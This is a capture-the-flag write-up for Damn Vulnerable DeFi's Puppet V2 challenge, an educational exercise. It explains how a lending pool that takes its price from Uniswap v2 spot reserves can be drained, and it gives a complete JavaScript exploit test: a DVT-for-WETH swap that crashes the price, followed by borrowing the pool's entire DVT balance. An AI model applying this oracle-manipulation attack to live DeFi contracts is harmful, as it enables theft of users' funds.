Damn Vulnerable DeFi is a series of DeFi smart contract attack challenges. The content includes flash loan attacks, lending pools, on-chain oracles, etc. Before starting, you need to have skills in Solidity and JavaScript. Your task for each challenge is to ensure that the unit tests for that challenge pass.
Challenge link: https://www.damnvulnerabledefi.xyz/challenges/9.html
Challenge description:
The developer of the previous lending pool challenge has released a new version that now uses the Uniswap v2 exchange as the price oracle, as well as the recommended tooling.
You start with 20 ETH and 10,000 DVT, and there are 1 million DVT in the new lending pool. Your goal is to drain all the DVT from the lending pool.
The approach for this challenge is similar to the previous lending pool challenge, with the difference being that ETH
is replaced with WETH
. WETH
is an ERC20-compliant token that has a 1:1 value ratio with ETH
.
Additionally, the challenge uses the Uniswap v2 version as the price oracle. In this version, token-to-token pairing contracts are supported. In this challenge, the pairing contract is WETH-DVT.
The lending contract PuppetV2Pool.sol
provides the borrowing functionality as follows:
function borrow(uint256 borrowAmount) external {
// Ensure that the contract holds enough DVT tokens for borrowing
require(_token.balanceOf(address(this)) >= borrowAmount, "Not enough token balance");
// Calculate the required deposit of WETH
uint256 depositOfWETHRequired = calculateDepositOfWETHRequired(borrowAmount);
// Transfer WETH to this contract
_weth.transferFrom(msg.sender, address(this), depositOfWETHRequired);
// Record the deposited WETH
deposits[msg.sender] += depositOfWETHRequired;
// Transfer DVT tokens to the borrower
require(_token.transfer(msg.sender, borrowAmount));
emit Borrowed(msg.sender, depositOfWETHRequired, borrowAmount, block.timestamp);
}
To borrow DVT
, the borrower needs to deposit WETH
. The amount of WETH
to be deposited is calculated using the following method:
function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) {
// The collateral value should be 3 times the borrowed DVT amount
return _getOracleQuote(tokenAmount).mul(3) / (10 ** 18);
}
function _getOracleQuote(uint256 amount) private view returns (uint256) {
// Get the reserves of WETH and DVT tokens
// getReserves internally calculates the address of the pairing contract and returns the reserves of the paired tokens
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(
_uniswapFactory, address(_weth), address(_token)
);
// Calculate the value of DVT
// amount / x = reservesToken / reservesWETH
// x = (amount * reservesWETH) / reservesToken
return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH);
}
The Uniswap v2 has a pairing contract for WETH-DVT with reserves reservesWETH
and reservesToken
.
The calculation of the value of DVT
follows the formula:
In the test script puppet-v2.challenge.js
, the following initialization is done:
- The Uniswap factory contract deploys the WETH-DVT pairing contract and adds liquidity of 10 WETH-100 DVT.
- The attacker is given 10,000 DVT and 20 ETH.
- The lending contract is given 1 million DVT.
If the attacker were to borrow all the DVT directly, the cost would be:
Since the attacker only holds 20 ETH and WETH is equivalent to ETH at a 1:1 ratio, it is not possible to complete the task.
Instead, the attacker can use the DVT they hold to exchange for WETH in Uniswap. This action will increase the DVT reserves in the WETH-DVT pairing contract and decrease the WETH reserves. As a result, the value of DVT will decrease overall.
it('Exploit', async function () {
const attackerCallLendingPool = this.lendingPool.connect(attacker)
const attackerCallUniswap = this.uniswapRouter.connect(attacker)
const attackerCallToken = this.token.connect(attacker)
const attackerCallWETH = this.weth.connect(attacker)
// init:
// Attacker ETH: 20.0
// Attacker WETH: 0.0
// Attacker DVT: 10000.0
// Uniswap WETH: 10.0
// Uniswap DVT: 100.0
// LendingPool DVT: 1000000.0
// Approve uniswap to spend attacker's DVT tokens
await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
// Swap DVT for WETH in uniswap
await attackerCallUniswap.swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE,
ethers.utils.parseEther('9'),
[attackerCallToken.address, attackerCallWETH.address],
attacker.address,
(await ethers.provider.getBlock('latest')).timestamp * 2
)
// Attacker ETH: 19.99975413442550073
// Attacker WETH: 9.900695134061569016
// Attacker DVT: 0.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 1000000.0
// Calculate the amount of WETH to be deposited as collateral
const collateralCount = await attackerCallLendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE)
console.log('collateralCount: ', ethers.utils.formatEther(collateralCount))
// collateralCount: 29.49649483319732198
await attackerCallWETH.approve(attackerCallLendingPool.address, collateralCount)
const tx = {
to: attackerCallWETH.address,
value: ethers.utils.parseEther('19.9')
}
await attacker.sendTransaction(tx)
// Borrow DVT
await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
gasLimit: 1e6
})
// Attacker ETH: 0.099518462674923535
// Attacker WETH: 0.304200300864247036
// Attacker DVT: 1000000.0
// Uniswap WETH: 0.099304865938430984
// Uniswap DVT: 10100.0
// LendingPool DVT: 0.0
// The WETH that the hacker deposited: 29.49649483319732198
})
Finally, running yarn puppet-v2
passes the test!